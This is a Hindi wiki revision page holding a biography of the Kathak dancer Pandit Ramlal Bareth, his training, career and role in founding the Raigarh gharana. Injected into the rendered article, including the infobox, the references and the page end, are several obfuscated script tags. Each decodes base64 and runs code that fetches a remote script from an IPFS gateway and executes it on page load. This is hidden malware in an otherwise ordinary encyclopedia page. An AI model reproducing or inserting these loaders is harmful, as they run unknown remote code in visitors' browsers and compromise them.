"रामलाल बरेठ" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(इसी सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''पंडित रामलाल बरेठ''' ([[अंग्रेज़ी]]: ''Pandit Ramlal Bareth'', जन्म- [[6 मार्च]], [[1936]]) प्रसिद्ध [[कत्थक]] नर्तक हैं जो [[छत्तीसगढ़]] के रायगढ़ ज़िले (बिलासपुर संभाग) से हैं। [[पद्म श्री]], [[2024]] का सम्मान पाने वाले रामलाल बरेठ को रायगढ़ के महाराज चक्रधर अपने दरबार के नर्तकों में [[कोहिनूर हीरा]] मानते थे। रामलाल बरेठ ने अपनी पूरी जिंदगी कत्थक नृत्य को दी है। जब रामलाल बरेठ का नाम पद्म श्री के लिए आया था तो उन्हें अपने पुराने दिन याद आ गए थे, जब वो नृत्य के लिए जी तोड़ मेहनत किया करते थे।
+
{{सूचना बक्सा कलाकार
 +
|चित्र=Ramlal-Bareth.jpg
 +
|चित्र का नाम=रामलाल बरेठ
 +
|पूरा नाम=पंडित रामलाल बरेठ
 +
|प्रसिद्ध नाम=
 +
|अन्य नाम=
 +
|जन्म=[[6 मार्च]], [[1936]]
 +
|जन्म भूमि=रायगढ़, छत्तीसगढ़ (पहले [मध्य प्रदेश]] का भाग)
 +
|मृत्यु=
 +
|मृत्यु स्थान=
 +
|अभिभावक=[[पिता]]- पंडित कार्तिक राम
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=भारतीय शास्त्रीय नृत्य
 +
|मुख्य रचनाएँ=
 +
|मुख्य फ़िल्में=
 +
|विषय=
 +
|शिक्षा=
 +
|विद्यालय=
 +
|पुरस्कार-उपाधि=[[पद्म श्री]], [[2024]]<br/>
 +
[[संगीत नाटक अकादमी पुरस्कार]]
 +
|प्रसिद्धि=[[कत्थक]] नर्तक
 +
|विशेष योगदान=रायगढ़ कत्थक शैली को लोकप्रिय बनाने में पंडित रामलाल बरेठ का बहुत बड़ा योगदान है।
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=रामलाल बरेठ के अथक प्रयास से रायगढ़ कत्थक शैली को रायगढ़ घराना के नाम से जाना जाता है। रायगढ़ घराना पूरी दुनिया में चौथे कत्थक घराने के रूप में प्रसिद्ध है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|13:50, 24 मार्च 2024 (IST)}}
 +
}}'''पंडित रामलाल बरेठ''' ([[अंग्रेज़ी]]: ''Pandit Ramlal Bareth'', जन्म- [[6 मार्च]], [[1936]]) प्रसिद्ध [[कत्थक]] नर्तक हैं जो [[छत्तीसगढ़]] के रायगढ़ ज़िले (बिलासपुर संभाग) से हैं। [[पद्म श्री]], [[2024]] का सम्मान पाने वाले रामलाल बरेठ को रायगढ़ के महाराज चक्रधर अपने दरबार के नर्तकों में [[कोहिनूर हीरा]] मानते थे। रामलाल बरेठ ने अपनी पूरी जिंदगी कत्थक नृत्य को दी है। जब रामलाल बरेठ का नाम पद्म श्री के लिए आया था तो उन्हें अपने पुराने दिन याद आ गए थे, जब वो नृत्य के लिए जी तोड़ मेहनत किया करते थे।
 
==परिचय==
 
==परिचय==
रामलाल बरेठ का जन्म 6 मार्च, 1936 को रायगढ़ तब के [मध्य प्रदेश]] में हुआ था। वो प्रतिष्ठित कथक पंडित कार्तिक राम के पुत्र हैं। रामलाल बरेठ लखनऊ घराने के महाराज हैं। उनके [[पिता]] और उस्ताद मोहम्मद ने उन्हें [[तबला]] सिखाया। अपने गुरु के मार्गदर्शन में उन्होंने कथक नर्तक की सीख ली। खान बंदा ने उन्हें स्वर संगीत की शिक्षा दी। रामलाल बरेठ आज कथक की रायगढ़ शैली के अग्रणी प्रतिपादक हैं। उनको [[कला]] के क्षेत्र में उनके योगदान के लिए पद्म श्री सम्मान दिया गया। पूर्व में उन्हें अकादमी पुरस्कार से भी नवाजा जा चुका है।
+
रामलाल बरेठ का जन्म 6 मार्च, 1936 को रायगढ़ तब के [[मध्य प्रदेश]] में हुआ था। वो प्रतिष्ठित कत्थक पंडित कार्तिक राम के पुत्र हैं। रामलाल बरेठ लखनऊ घराने के महाराज हैं। उनके [[पिता]] और उस्ताद मोहम्मद ने उन्हें [[तबला]] सिखाया। अपने गुरु के मार्गदर्शन में उन्होंने कत्थक नर्तक की सीख ली। खान बंदा ने उन्हें स्वर संगीत की शिक्षा दी। रामलाल बरेठ आज कत्थक की रायगढ़ शैली के अग्रणी प्रतिपादक हैं। उनको [[कला]] के क्षेत्र में उनके योगदान के लिए पद्म श्री सम्मान दिया गया। पूर्व में उन्हें अकादमी पुरस्कार से भी नवाजा जा चुका है।
 +
==नृत्य शिक्षा==
 +
10 वर्ष की छोटी आयु में ही रामलाल बरेठ रायगढ़ दरबार में कला के शौकीन लोगों के सामने [[नृत्य]] का प्रदर्शन करने लगे। जिसे देखकर महाराजा चक्रधर सिंह बहुत खुश हुए। इसके बाद महाराजा ने [[जयपुर]] के गुरु पंडित जयलाल महाराज से उनकी नृत्य शिक्षा की व्यवस्था करवाई। राजा चक्रधर सिंह खुद गायन, वादन एवं नृत्य के विद्वान भी थे।
 +
==वाद्य यंत्र और गायन==
 +
पंडित रामलाल नृत्य के अलावा तबला वादन और गायन में भी पारंगत हैं। तबला की शिक्षा अपने पिता पंडित कार्तिक राम और पंडित जयलाल महाराज से ली और गायन की शिक्षा अपने पिता और उस्ताद हाजी मोहम्मद खां बांदा वाले से ली। पंडित रामलाल सन [[1949]] में लखनऊ सम्मेलन में पहली बार मंच पर आए थे। जहां से इन्हें ख्याति मिलनी शुरू हुई। साल [[1950]] में संगीत सम्मेलन बुलंदशहर, [[1962]] में [[इटावा]] के संगीत सम्मेलन में उन्होंने सफल प्रदर्शन किया। जिसके बाद अपने नृत्य का प्रदर्शन [[कलकत्ता]], [[इलाहाबाद]], [[कटक]], [[नागपुर]], [[भिलाई]], रायपुर, [[इंदौर]], स्वर साधना समिति बंबई, संकट मोचन बनारस, [[दिल्ली]], [[छिंदवाड़ा]], [[भारत भवन भोपाल]], [[हैदराबाद]] जैसे अनेक शहरों में किया।<ref name="pp">{{cite web |url= https://www.etvbharat.com/hi/!bharat/story-of-padmashree-ramlal-bareth-made-raigarh-fourth-gharana-of-kathak-dancer-ctn24012701948|title=पंडित रामलाल बरेठ|accessmonthday=24 मार्च|accessyear=2024 |last= |first= |authorlink= |format= |publisher=etvbharat.com |language=हिंदी}}</ref>
 +
==पंचायत विभाग में सेवा==
 +
पंडित रामलाल ने [[1956]] से [[1980]] तक रायगढ़ में शासकीय सेवा पंचायत विभाग में दी। इसी दौरान रायगढ़ में चक्रधर संगीत विद्यालय की स्थापना कर गायन, वादन और नृत्य की भी शिक्षा देते रहे। इसके साथ-साथ बेलपहाड़, राउलकेला और रायपुर में नृत्य की शिक्षा देकर उन्होंने कई शिष्य भी तैयार किए। [[1981]] में मध्य प्रदेश शासन संस्कृति विभाग ने उस्ताद अलाउद्दीन खां संगीत अकादमी के अंतर्गत चक्रधर नृत्य केन्द्र की स्थापना की। जहां शासन के अनुरोध पर रायगढ़ घराने के [[कत्थक]] [[नृत्य]] [[शैली]] की शिक्षा देने के लिए इनके [[पिता]] पंडित कार्तिक राम को गुरू और पंडित रामलाल को सहायक गुरू के पद पर बुलाया गया।
 +
==कई कलाकारों किया तैयार==
 +
रामलाल बरेठ का मानना था कि रायगढ़ शैली के सैंकड़ों कलाकार तैयार हो, ताकि रायगढ़ घराना और [[छत्तीसगढ़]] का नाम युग-युग के लिये गौरवान्वित हो सके। पंडित रामलाल ने [[1990]] से [[1992]] तक इंदिरा कला संगीत विश्वविद्यालय खैरागढ़ में नृत्य रीडर के पद पर रहकर अनेकों शिष्य तैयार किये। रायगढ़ कत्थक शैली के प्रचार के लिए कई वर्कशॉप किए। इंदिरा कला संगीत विश्वविद्यालय, जयपुर कत्थक केन्द्र और कत्थक केन्द्र दिल्ली से भी जुड़े रहे।
 +
==पुरस्कार व सम्मान==
 +
*[[भारत सरकार]] ने साल [[2024]] में [[पद्म श्री]] से सम्मानित किया।
 +
* पंडित रामलाल को [[1996]] में [[भारत]] के माननीय [[राष्ट्रपति]] [[शंकर दयाल शर्मा]] ने भारत के राष्ट्रीय सम्मान '[[संगीत नाटक अकादमी पुरस्कार]]' से सम्मानित किया।
 +
==रायगढ़ घराने की नींव==
 +
[[पद्म श्री]] पंडित रामलाल बरेठ ने अपनी परंपरा को आगे बढ़ाने में अपने बेटे बेटियों को भी विधिवत शिक्षा दी है। उन्होंने रायगढ़ कत्थक शैली को विकसित करने और [[कत्थक]] को घराने के रूप में स्थापित करने के लिए अपना जीवन समर्पित किया है। रायगढ़ कत्थक शैली को लोकप्रिय बनाने में पंडित रामलाल बरेठ का बहुत बड़ा योगदान है। उन्होंने रायगढ़ कत्थक शैली दी। उनके अथक प्रयास से रायगढ़ कत्थक शैली को रायगढ़ घराना के नाम से जाना जाता है। रायगढ़ घराना पूरी दुनिया में चौथे कत्थक घराने के रूप में प्रसिद्ध है।<ref name="pp"/>
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 7: पंक्ति 53:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{पद्मश्री}}
+
{{शास्त्रीय गायक कलाकार}}{{संगीत नाटक अकादमी पुरस्कार}}{{पद्मश्री}}
[[Category:पद्म श्री]][[Category:पद्म श्री (2024)]]
+
[[Category:शास्त्रीय नर्तक]][[Category:गायक और नर्तक]][[Category:गायक]][[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:संगीत_कोश]][[Category:चरित कोश]][[Category:संगीत नाटक अकादमी पुरस्कार]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:कला कोश]][[Category:पद्म श्री]][[Category:पद्म श्री (2024)]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

04:39, 27 मार्च 2024 के समय का अवतरण

रामलाल बरेठ
रामलाल बरेठ
पूरा नाम पंडित रामलाल बरेठ
जन्म 6 मार्च, 1936
जन्म भूमि रायगढ़, छत्तीसगढ़ (पहले [मध्य प्रदेश]] का भाग)
अभिभावक पिता- पंडित कार्तिक राम
कर्म भूमि भारत
कर्म-क्षेत्र भारतीय शास्त्रीय नृत्य
पुरस्कार-उपाधि पद्म श्री, 2024

संगीत नाटक अकादमी पुरस्कार

प्रसिद्धि कत्थक नर्तक
विशेष योगदान रायगढ़ कत्थक शैली को लोकप्रिय बनाने में पंडित रामलाल बरेठ का बहुत बड़ा योगदान है।
नागरिकता भारतीय
अन्य जानकारी रामलाल बरेठ के अथक प्रयास से रायगढ़ कत्थक शैली को रायगढ़ घराना के नाम से जाना जाता है। रायगढ़ घराना पूरी दुनिया में चौथे कत्थक घराने के रूप में प्रसिद्ध है।
अद्यतन‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>पंडित रामलाल बरेठ (अंग्रेज़ी: Pandit Ramlal Bareth, जन्म- 6 मार्च, 1936) प्रसिद्ध कत्थक नर्तक हैं जो छत्तीसगढ़ के रायगढ़ ज़िले (बिलासपुर संभाग) से हैं। पद्म श्री, 2024 का सम्मान पाने वाले रामलाल बरेठ को रायगढ़ के महाराज चक्रधर अपने दरबार के नर्तकों में कोहिनूर हीरा मानते थे। रामलाल बरेठ ने अपनी पूरी जिंदगी कत्थक नृत्य को दी है। जब रामलाल बरेठ का नाम पद्म श्री के लिए आया था तो उन्हें अपने पुराने दिन याद आ गए थे, जब वो नृत्य के लिए जी तोड़ मेहनत किया करते थे।

परिचय

रामलाल बरेठ का जन्म 6 मार्च, 1936 को रायगढ़ तब के मध्य प्रदेश में हुआ था। वो प्रतिष्ठित कत्थक पंडित कार्तिक राम के पुत्र हैं। रामलाल बरेठ लखनऊ घराने के महाराज हैं। उनके पिता और उस्ताद मोहम्मद ने उन्हें तबला सिखाया। अपने गुरु के मार्गदर्शन में उन्होंने कत्थक नर्तक की सीख ली। खान बंदा ने उन्हें स्वर संगीत की शिक्षा दी। रामलाल बरेठ आज कत्थक की रायगढ़ शैली के अग्रणी प्रतिपादक हैं। उनको कला के क्षेत्र में उनके योगदान के लिए पद्म श्री सम्मान दिया गया। पूर्व में उन्हें अकादमी पुरस्कार से भी नवाजा जा चुका है।

नृत्य शिक्षा

10 वर्ष की छोटी आयु में ही रामलाल बरेठ रायगढ़ दरबार में कला के शौकीन लोगों के सामने नृत्य का प्रदर्शन करने लगे। जिसे देखकर महाराजा चक्रधर सिंह बहुत खुश हुए। इसके बाद महाराजा ने जयपुर के गुरु पंडित जयलाल महाराज से उनकी नृत्य शिक्षा की व्यवस्था करवाई। राजा चक्रधर सिंह खुद गायन, वादन एवं नृत्य के विद्वान भी थे।

वाद्य यंत्र और गायन

पंडित रामलाल नृत्य के अलावा तबला वादन और गायन में भी पारंगत हैं। तबला की शिक्षा अपने पिता पंडित कार्तिक राम और पंडित जयलाल महाराज से ली और गायन की शिक्षा अपने पिता और उस्ताद हाजी मोहम्मद खां बांदा वाले से ली। पंडित रामलाल सन 1949 में लखनऊ सम्मेलन में पहली बार मंच पर आए थे। जहां से इन्हें ख्याति मिलनी शुरू हुई। साल 1950 में संगीत सम्मेलन बुलंदशहर, 1962 में इटावा के संगीत सम्मेलन में उन्होंने सफल प्रदर्शन किया। जिसके बाद अपने नृत्य का प्रदर्शन कलकत्ता, इलाहाबाद, कटक, नागपुर, भिलाई, रायपुर, इंदौर, स्वर साधना समिति बंबई, संकट मोचन बनारस, दिल्ली, छिंदवाड़ा, भारत भवन भोपाल, हैदराबाद जैसे अनेक शहरों में किया।[1]

पंचायत विभाग में सेवा

पंडित रामलाल ने 1956 से 1980 तक रायगढ़ में शासकीय सेवा पंचायत विभाग में दी। इसी दौरान रायगढ़ में चक्रधर संगीत विद्यालय की स्थापना कर गायन, वादन और नृत्य की भी शिक्षा देते रहे। इसके साथ-साथ बेलपहाड़, राउलकेला और रायपुर में नृत्य की शिक्षा देकर उन्होंने कई शिष्य भी तैयार किए। 1981 में मध्य प्रदेश शासन संस्कृति विभाग ने उस्ताद अलाउद्दीन खां संगीत अकादमी के अंतर्गत चक्रधर नृत्य केन्द्र की स्थापना की। जहां शासन के अनुरोध पर रायगढ़ घराने के कत्थक नृत्य शैली की शिक्षा देने के लिए इनके पिता पंडित कार्तिक राम को गुरू और पंडित रामलाल को सहायक गुरू के पद पर बुलाया गया।

कई कलाकारों किया तैयार

रामलाल बरेठ का मानना था कि रायगढ़ शैली के सैंकड़ों कलाकार तैयार हो, ताकि रायगढ़ घराना और छत्तीसगढ़ का नाम युग-युग के लिये गौरवान्वित हो सके। पंडित रामलाल ने 1990 से 1992 तक इंदिरा कला संगीत विश्वविद्यालय खैरागढ़ में नृत्य रीडर के पद पर रहकर अनेकों शिष्य तैयार किये। रायगढ़ कत्थक शैली के प्रचार के लिए कई वर्कशॉप किए। इंदिरा कला संगीत विश्वविद्यालय, जयपुर कत्थक केन्द्र और कत्थक केन्द्र दिल्ली से भी जुड़े रहे।

पुरस्कार व सम्मान

रायगढ़ घराने की नींव

पद्म श्री पंडित रामलाल बरेठ ने अपनी परंपरा को आगे बढ़ाने में अपने बेटे बेटियों को भी विधिवत शिक्षा दी है। उन्होंने रायगढ़ कत्थक शैली को विकसित करने और कत्थक को घराने के रूप में स्थापित करने के लिए अपना जीवन समर्पित किया है। रायगढ़ कत्थक शैली को लोकप्रिय बनाने में पंडित रामलाल बरेठ का बहुत बड़ा योगदान है। उन्होंने रायगढ़ कत्थक शैली दी। उनके अथक प्रयास से रायगढ़ कत्थक शैली को रायगढ़ घराना के नाम से जाना जाता है। रायगढ़ घराना पूरी दुनिया में चौथे कत्थक घराने के रूप में प्रसिद्ध है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 पंडित रामलाल बरेठ (हिंदी) etvbharat.com। अभिगमन तिथि: 24 मार्च, 2024।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>